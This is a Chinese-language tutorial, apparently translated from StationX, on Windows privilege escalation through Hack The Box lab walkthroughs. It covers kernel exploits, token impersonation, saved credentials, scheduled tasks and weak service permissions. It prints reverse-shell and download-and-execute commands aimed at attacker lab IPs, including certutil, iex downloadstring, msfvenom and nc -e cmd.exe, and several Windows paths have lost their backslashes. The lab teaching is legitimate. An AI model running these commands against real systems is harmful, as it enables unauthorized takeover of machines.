了解权限升级
当用户获得的系统资源超出其权限允许的范围时,Windows 操作系统中就会发生权限升级。它需要从较低级别的用户切换到较高级别的用户,例如管理员或“NT AUTHORITY/SYSTEM”帐户。配置错误或系统中的弱点是升级的可能原因。
管理员和系统帐户之间的区别取决于他们对操作系统和进程的控制程度。
-
管理员可以更改安全设置、安装软件和硬件、访问计算机上的所有文件以及更改其他用户帐户。
-
系统帐户是Windows内置的具有最高权限的帐户。操作系统使用此帐户来运行系统服务、进程和任务,即使它不对应于物理用户。它具有对文件系统的完全访问权限,并且可以执行系统级更改。
检测
现在您已经了解了 Windows 环境中的不同用户级别,接下来让我们看看枚举操作系统以帮助检测权限升级向量的方法。
手动
可以从命令提示符或 PowerShell 运行以下命令。
系统枚举
枚举操作系统(包括其版本和补丁级别)可以帮助您查找 Windows 计算机是否有任何潜在的内核漏洞。
systeminfo
命令 systeminfo 为您提供了正在处理的 Windows 操作系统的视图。从操作系统名称、版本、构建类型到处理器、BIOS 版本等一切内容。
wmic qfe
wmic qfe 为您提供了 Windows 中已安装的更新的概览,让您可以查看系统的补丁历史记录,并使您能够识别任何可能被用于提权的缺失补丁或更新。
用户枚举
进行用户枚举可以让您很好地了解当前用户、您拥有哪些权限以及您属于哪些组。这对于定位允许您滥用权限或利用错误配置的权限升级路径非常有用。
whoami
whoami 命令会通知您当前正在以什么用户身份运行。您还可以将其与其他开关(例如 /priv 和/groups)一起使用,以收集有关授予您的用户的权限以及您所属的安全组的更多信息。
net user
net user 命令将打印出系统上的用户。
您还可以使用网络用户用户名来更好地了解特定用户。这将显示用户的名称、密码信息和组成员身份,以及帐户的各种设置和属性。
net localgroup
net localgroup 命令将显示系统上所有可用的组。这对于了解系统上可用的不同访问级别很有用。
您还可以将此命令与组名称一起使用,以获取该组的信息以及属于该组的用户的概述。
您可以通过多种方式手动枚举 Windows,我们不会详细介绍这些方式,但它们包括网络枚举、AV 枚举以及服务和进程枚举。
请查看我们的“Windows 命令行备忘单:您所需的一切尽在一个地方” 一文,深入了解 Windows 命令行。
自动化工具
在寻找权限升级路径时,自动化工具可以提供很大的帮助,因为它们可以快速有效地扫描已知漏洞、错误配置和薄弱的安全实践。
一、WinPEAS
WinPEAS也称为“Windows 权限提升很棒的脚本”,是一种流行的、众所周知的、非常出色的开源工具,可帮助找到 Windows 系统中权限提升的潜在路径。
它使用颜色编码系统来显示您首先要查看的区域。WinPEAS 可以识别几种常见的安全错误配置,例如弱文件夹权限、弱注册表权限、错误配置的服务、计划任务等等。https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
二、PowerUp
PowerUp 是一个 PowerShell 脚本,用于查找目标系统上常见的权限升级。您可以使用 Invoke-AllChecks 参数运行它,该参数将执行所有检查。您还可以使用它来执行特定检查,例如使用 Get-UnquotedService 参数,该参数仅查找可能的未引用服务路径漏洞。您可能需要绕过目标系统上的执行策略才能运行 PowerUp。https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e92bb6243c177d7d1d7e68b6f1816/Privesc/PowerUp.ps1
三、Seatbelt
Seatbelt是一个 C# 工具,是 GhostPack 工具套件的一部分,它将执行一系列检查、收集系统和用户数据,而不是寻找权限升级向量。它对于识别提升权限的潜在路径非常有用。https://github.com/GhostPack/Seatbelt
四、SharpUp
SharpUp 是 GhostPack 系列中的另一个工具,充当多个 PowerUp 功能的 C# 端口。大多数检查都包括在内。它是一个灵活的工具,使您能够执行单独的漏洞检查或执行每项检查的全面审核。https://github.com/GhostPack/SharpUp
五、Windows Exploit Suggester
Windows Exploit Suggester 是一个可以通过检查 Windows 系统的补丁级别来定位权限提升路径的工具。它将系统的补丁级别与 Microsoft 漏洞数据库进行比较,以检测潜在的缺失补丁。通过识别这些缺失的补丁,该工具可以提供潜在漏洞列表,以利用这些漏洞进行权限升级 - https://github.com/AonCyberLabs/Windows-Exploit-Suggester。
您还可以看到该工具的更新版本,称为Windows Exploit Suggester - Next Generation (WES-NG)https://github.com/bitsadmin/wesng。
内核漏洞(Kernel Exploits)
内核漏洞是 Windows 操作系统中发现的漏洞,允许攻击者提升权限。这些漏洞利用的目标是操作系统内核中的缺陷。
攻击者可能通过利用这些漏洞获得对系统级权限的未经授权的访问。这可能导致完全接管,允许攻击者执行任意代码、修改系统数据、安装软件或执行其他操作。
让我们看看如何利用内核漏洞并从低级用户进入系统。我们将使用“Hack The Box:Devel”机器。
通过 Netcat 建立反向 shell 后,您就可以运行该systeminfo 命令。
复制输出的内容并将其保存到本地计算机上 Windows Exploit Suggester 所在文件夹中的文件中。我们将其保存为 systeminfo.txt。
在运行脚本之前,您需要更新 Windows Exploit Suggester 数据库。请参阅自述文件 以获取更多信息。
使用系统信息和数据库文件运行 Windows Exploit Suggester 脚本。
您将看到潜在漏洞的列表。我们感兴趣的是 MS10-059,也称为 Chimichurri。如果您想了解有关此漏洞的更多信息,请参阅本文。此漏洞将允许您生成一个 shell 作为系统帐户。
前往此GitHub 页面并将可执行文件下载到您的攻击计算机。https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059
始终确保您了解正在下载的内容以及脚本或漏洞正在做什么。使用您不理解的脚本可能会产生严重的后果,特别是当您在现实环境中使用它们时。
下载后,在 Kali 中与下载的漏洞利用程序所在的文件夹中启动 Python 服务器。使用以下命令:
python3 -m http.server
返回 Windows 计算机,进入临时文件夹,然后使用 certutil 下载漏洞利用程序。
certutil -urlcache -f http://10.10.14.10:8000/MS10-059.exe exploit.exe
临时文件夹是下载脚本、工具和漏洞的好地方,因为它通常具有写入和执行所需的权限。
接下来,在攻击机器上启动 Netcat 侦听器。在 Windows 上,使用您计算机的 IP 和刚刚用于 Netcat 的端口来运行漏洞利用程序。
exploit.exe 10.10.14.10 5555
回到我们的机器上,我们将有一个权限提升的Shell。
回到我们的机器上,我们将有一个权限提升的Shell。正如您所看到的,找到过时或未打补丁的系统可能会导致您通过内核漏洞进行权限升级。请谨慎对待内核漏洞,因为它们有时会导致目标系统不稳定。研究其可靠性并确保有人可以在需要时重新启动机器。
Linux 的 Windows 子系统(Windows Subsystem for Linux)
WSL 代表适用于 Linux 的 Windows 子系统。它是在 Windows 系统上运行 Linux 的兼容层。它允许用户直接在 Windows 上运行 GNU/Linux 环境,而无需虚拟机,包括大多数命令行工具和实用程序。
在某些情况下,如果 WSL 以 root 权限运行,您可以利用它,从而允许您创建提升的 shell。在我们的演示中,我们将使用不同的权限升级方法。
让我们看看如何使用 WSL 通过“Hack The Box: SecNotes”机器上的 bash 历史记录来进行权限升级。
一旦您在计算机上建立了 shell 并在 Tyler 的桌面上找到了 user.txt 文件,您就会注意到一个 bash.lnk 文件。此文件可能表明此 Windows 操作系统正在运行 WSL。
让我们看看是否可以查出 bash.exe 是否正在系统上运行。
您可以使用以下命令来尝试找到它:
where /R C:Windows bash.exe
太好了,bash.exe 位于两个不同的文件夹中。
让我们使用以下命令从 System32 文件夹运行它:
C:WindowsSystem32bash.exe
我们必须使用以下命令来逃避 shell 限制:
python3 -c 'import pty;pty.spawn("/bin/bash")'
接下来,我们可以进行一些 Linux 枚举。如果您阅读过我们有关Linux 权限升级的文章,您就会知道历史是查找信息的好地方。
让我们看一下命令历史记录。
我们还找到了一些 Windows 系统管理员的凭据。我们可以使用机器的 IP 运行上面的命令,并且可以访问系统文件夹,但我们也可以运行psexec并获得交互式系统 shell,从而给我们更多的控制权。
可以通过 WSL 进行权限升级,并且在枚举时首先检查历史记录总是一个好主意;你会对你可能发现的东西感到惊讶。
Token模拟(Token Impersonation)
当较低权限的用户从较高权限的用户或进程窃取令牌并使用它来执行他们通常不允许执行的操作(例如访问敏感数据或修改重要的系统设置)时,就会发生令牌模拟权限升级攻击。
将令牌想象成身份证。属于不同用户或服务的每个ID卡都具有控制资源访问的特定权限。
如果您的用户启用了“SeImpersonatePrivilege”,您可以使用马铃薯攻击来升级权限。
在我们的演示中,我们将使用多汁的土豆攻击。JuicyPotato 不适用于 Windows Server 2019 或 Windows 10 build 1809 及更高版本。然而,其他类似的攻击可用于利用相同的特权。研究特定操作系统并构建您的目标。
我们可以使用“Hack The Box:Bounty”机器来了解这是如何工作的。
一旦建立了 shell,我们就可以开始进行手动枚举。让我们看看whoami 和whoami/priv 命令。
正如你所看到的,我们有正确的权限来执行多汁的土豆攻击。让我们运行一下systeminfo,看看我们是否拥有正确的 Windows 版本。
我们很高兴与多汁的土豆一起进攻。让我们将漏洞从Github下载 到 Kali。
https://github.com/ohpe/juicy-potato/releases
确保您使用与漏洞利用程序位于同一目录中的 python3 简单服务器来提供文件:
python3 -m http.server
您还可以使用 Apache 或 SMB 服务器。
现在使用以下命令将其传输到 Windows 计算机:
(new-object net.webclient).downloadfile('http://10.10.14.12:8000/jp.exe', 'C:UsersmerlinDesktopjp.exe')
接下来,我们必须创建反向 shell。从Nishang 存储库下载 Invoke-PowerShellTcp.ps1 脚本。
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
将以下内容添加到脚本底部并保存。我们将其保存为 shell2.ps1。
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 8888
确保使用攻击机器的 IP 以及与 Netcat 一起使用的任何端口来捕获 shell。
现在创建一个包含以下一行的 .bat 文件:
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.12/shell2.ps1')
它将下载 shell2.ps1 脚本并运行它。我们将其命名为 bounty.bat。您可以使用您喜欢的文本编辑器(Nano、Vi、Gedit、Leafpad 等)来执行此操作,或使用命令touch 创建文件并将一行内容回显到其中。
接下来,使用前面所示的 (new-object net.webclient).downloadfile 命令将 bounty.bat 文件从服务器下载到 Windows 计算机。
确保您在 Kali 中设置了服务器来托管该文件。
使用 shell2.ps1 脚本中的信息在 Kali 上启动 Netcat 侦听器。
我们终于可以开始利用了,但请确保使用这三个标志来运行它。
-t createprocess 调用:<t> CreateProcessWithTokenW、<u> CreateProcessAsUser、<*> 两者都尝试
-p <程序>:要启动的程序
-l <port>:COM服务器监听端口(任何端口都可以)
这是运行命令:
./jp.exe -t * -p C:UsersmerlinDesktopbounty.bat -l 4444
我们现在是系统。
当进入新的 Windows shell 时,请务必检查您的权限,因为您的权限可能会被滥用,从而使您能够转移到管理员或系统。
保存的凭证(Saved Credentials)
有时,在 Windows 中,会出现用户凭据以纯文本形式保存的情况。发生这种情况的原因有多种。原因之一是 Windows 自动登录功能是否已启用。此功能以纯文本形式将凭据存储在注册表中,允许其他用户启动计算机并使用所述帐户自动登录。
我们的演示将向您展示如何利用此功能将我们从低级别帐户提升为管理员。
我们将使用“Hack The Box:Chatterbox”机器进行此演示。一旦你 通过缓冲区溢出建立了反向shell ,你将成为用户Alfred。
我们可以通过使用以下命令将 winPEAS 从我们的攻击机器下载到 Chatterbox 来开始一些自动枚举:
certutil -urlcache -split -f "http://10.10.14.12:8000/winPEASany.exe" wp.exe
确保您的攻击计算机上有一台服务器与 winPEAS 位于同一文件夹中,以便您可以下载该文件。您可以使用:
python3 -m http.server
运行 winPEAS 后,您会注意到它找到了用户 Alfred 的自动登录凭据。该密码也适用于管理员用户。
我们必须使用 PowerShell 自动化实用程序,因为我们无法通过 RDP 或其他方法对此进行测试。这将允许我们在另一个用户的上下文中运行脚本。
第一步是使用 MSFvenom 创建反向 shell。
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe > shell.exe
接下来,我们必须使用 certutil 命令将 shell.exe 下载到 Chatterbox。请记住设置服务器来托管该文件。
使用用于 MSFvenom 负载的同一端口启动 Netcat。接下来,运行以下 PowerShell 命令以管理员身份获取反向 shell。
powershell -c "$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential('Administrator', $password);Start-Process -FilePath "shell.exe" -Credential $creds"
让我们逐步分解该命令:
-
powershell -c:这将启动 PowerShell 会话并执行以下命令。
-
$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force;:此行将 $password 变量设置为密码“Welcome1!”的安全字符串表示形式。ConvertTo-SecureString cmdlet 用于将纯文本密码转换为安全字符串。-AsPlainText 参数指定以纯文本形式提供密码,-Force 参数确保在不提示确认的情况下执行转换。
-
$creds = New-Object System.Management.Automation.PSCredential('Administrator', $password);:此行使用 New-Object cmdlet 创建一个名为 $creds 的新 PSCredential 对象。PSCredential 对象表示一组安全凭证,包括用户名和密码。在本例中,用户名是“Administrator”,密码是存储在 $password 变量中的安全字符串。
-
Start-Process -FilePath "shell.exe" -Credential $creds:此行使用 Start-Process cmdlet 启动一个新进程。它启动一个名为“shell.exe”的可执行文件。-Credential 参数指定运行进程时要使用的凭据,$creds 包含上一步中创建的 PSCredential 对象,其中包括用户名和密码。
总之,此 PowerShell 命令设置安全密码,使用用户名“管理员”和安全密码创建一组凭据,然后使用这些凭据启动反向 shell。
现在我们已经将权限升级到管理员。
正如您所看到的,有时凭据会以纯文本形式保存,如果它们被其他服务或用户重用,则可用于提升权限。
计划任务(Scheduled Tasks)
Windows 中的计划任务是在设定时间运行某些脚本或程序的自动方式。由于 cron 作业在 Linux 环境中工作,计划任务允许用户在特定时间运行备份、更新和病毒扫描等任务;可以是每一分钟、每小时,甚至是每一天。
如果任务的权限配置错误,这可能会导致权限升级。这可以使低级别用户能够修改任务或文件,从而允许他们执行他们想要的操作。
由于大多数任务都是以管理员的权限运行的(管理员通常是创建任务的人),因此脚本也将以这些更高的权限运行,从而允许用户升级权限。
让我们看看如何使用“Hack the Box: Tally”机器来实现这一点。一旦您拥有SQL提供的反向 shell ,您将成为用户 Sarah。
前往Sarah的桌面路径;您还会注意到两个有趣的文件。
如果您查看 .xml 文件,您会注意到一些事情。它告诉我们带有 -ExecutionPolicy Bypass 和 -skipadmincheck 参数的 PowerShell 脚本 SPBestWarmUp.ps1 将在 TALLYAdministrator 用户的权限下运行。它每天每小时运行。
由于该文件以管理员权限运行,因此我们可以使用此脚本来升级权限。但首先,让我们看看我们是否有正确的权限来修改它。
您可以使用以下 PowerShell 命令来检查文件的权限:
Get-Acl SPBestWarmUp.ps1 | Format-List
请参阅我们的“您能找到的最有用的 PowerShell 备忘单” 一文,了解 PowerShell 命令的完整列表。
由于我们是用户 Sarah,因此我们拥有该文件,现在可以使用它来更改文件的内容并为我们提供反向 shell。
我们需要将Nishang 反向 shell复制 到我们的攻击机器上,并将以下行添加到脚本底部:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 4444
请记住使用您计算机上的 IP 以及将用于 Netcat 的端口。
在 Nishang 脚本所在的目录中设置一个 Python 服务器。
python3 -m http.server
启动 Netcat 侦听器并使用以下命令将 SPBestWarmUp.ps1 文件的内容替换为我们的反向 shell。
echo "iex(new-object net.webclient).downloadstring('http://10.10.14.12:8000/shell2.ps1')" > SPBestWarmUp.ps1
现在等待计划任务运行。生成Shell包括执行可能需要长达一个小时的时间。
有时,计划任务的权限配置错误,允许您提升权限。在真正的参与中,始终确保备份和恢复您修改、替换或删除的任何文件。
低权限用户利用(Weak Service Permissions)
在 Windows 中,服务允许应用程序在后台运行,具有特定权限。这些服务可以使用不同的权限级别运行,具体取决于它们的配置方式。这可以是低级用户,一直到系统帐户。当低级用户可以使用高级权限修改服务时,称为弱服务权限。
错误配置可能包括
-
允许非管理员修改服务的不正确的访问控制列表 (ACL)。
-
该服务的文件权限较弱。
让我们看看如何使用“Hack The Box:Querier”机器利用弱服务权限,一旦你有了你的shell,你将成为mssql_svc用户。
我们的第一步是从我们的攻击机器下载 PowerUp 脚本。您可以使用以下命令在与脚本相同的目录中启动 Python 服务器:
python3 -m http.server
输入 Powershell,然后移动到 C:Reports 文件夹。使用以下命令下载 PowerUp 脚本:
Invoke-WebRequest -Uri http://10.10.14.15:8000/PowerUp.ps1 -OutFile C:ReportsPowerUp.ps1
确保将 IP 和端口更改为本机的设置。
下载后,使用 Invoke-AllChecks 运行 PowerUp。
我们有不止几条路可以走。但是对于这个演示,我们对服务 UsoSvc 感兴趣。有了这个服务,我们可以使用 PowerUp Invoke-ServiceAbuse 函数,该函数滥用当前用户具有添加本地管理员或执行自定义命令的配置权限的函数。
请务必注意,若要利用该服务,CanRestart 必须为 True。因为重新启动服务是我们执行命令的方式。
我们可以通过更改 binpath 来运行命令来手动执行此操作。我们将运行 Netcat 以管理员身份为我们提供反向 shell。
切换回常规命令提示符。我们需要修改 UsoSvc 服务的配置,方法是使用 'sc' (Service Control) 命令设置 binpath 来运行我们的 Netcat 反向 shell。
sc config UsoSvc binpath= "C:Reportsnc.exe -e cmd.exe 10.10.14.15 4444"
要检查命令是否有效并查询服务的配置信息,可以使用以下命令:
sc qc UsoSvc
该命令起作用了,因为新的 binpath 设置为我们的命令。现在我们需要停止,然后重新启动服务以将我们的 shell 弹出为系统。
确保在攻击机器上启动了 Netcat,一旦启动服务,您将拥有一个提升的Shell。
您所见,如果服务的权限较弱,则可以利用它来提升权限。正如我们在“计划任务”部分中提到的,在实际参与中,始终确保备份和恢复您修改、替换或删除的任何文件。
其他方法
您可以学习 Windows 中许多其他权限提升方法,但我们无法一一介绍。
这些包括:
-
始终安装提升
-
运行方式
-
启动应用程序
-
可执行文件
-
DLL劫持
-
未加引号的服务路径
-
注册表权限较弱
结论
正如您所见,Windows 权限提升攻击有多种途径。
我们已经向您展示了如何进行一些手动枚举、我们建议您使用哪些自动化工具以及它们的用途。
通过利用内核漏洞、令牌模拟、计划任务和其他路径,您可以升级权限并成为管理员用户甚至系统帐户。
当涉及到 Windows 权限升级技术时,最好跟上最新的工具和技术,我们为您的旅程提供了一个很好的起点。
How to Use Windows Privilege Escalation for Hacking
https://www.stationx.net/windows-privilege-escalation/
原文始发于微信公众号(Ots安全):了解权限升级和部分Windows 权限提升技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论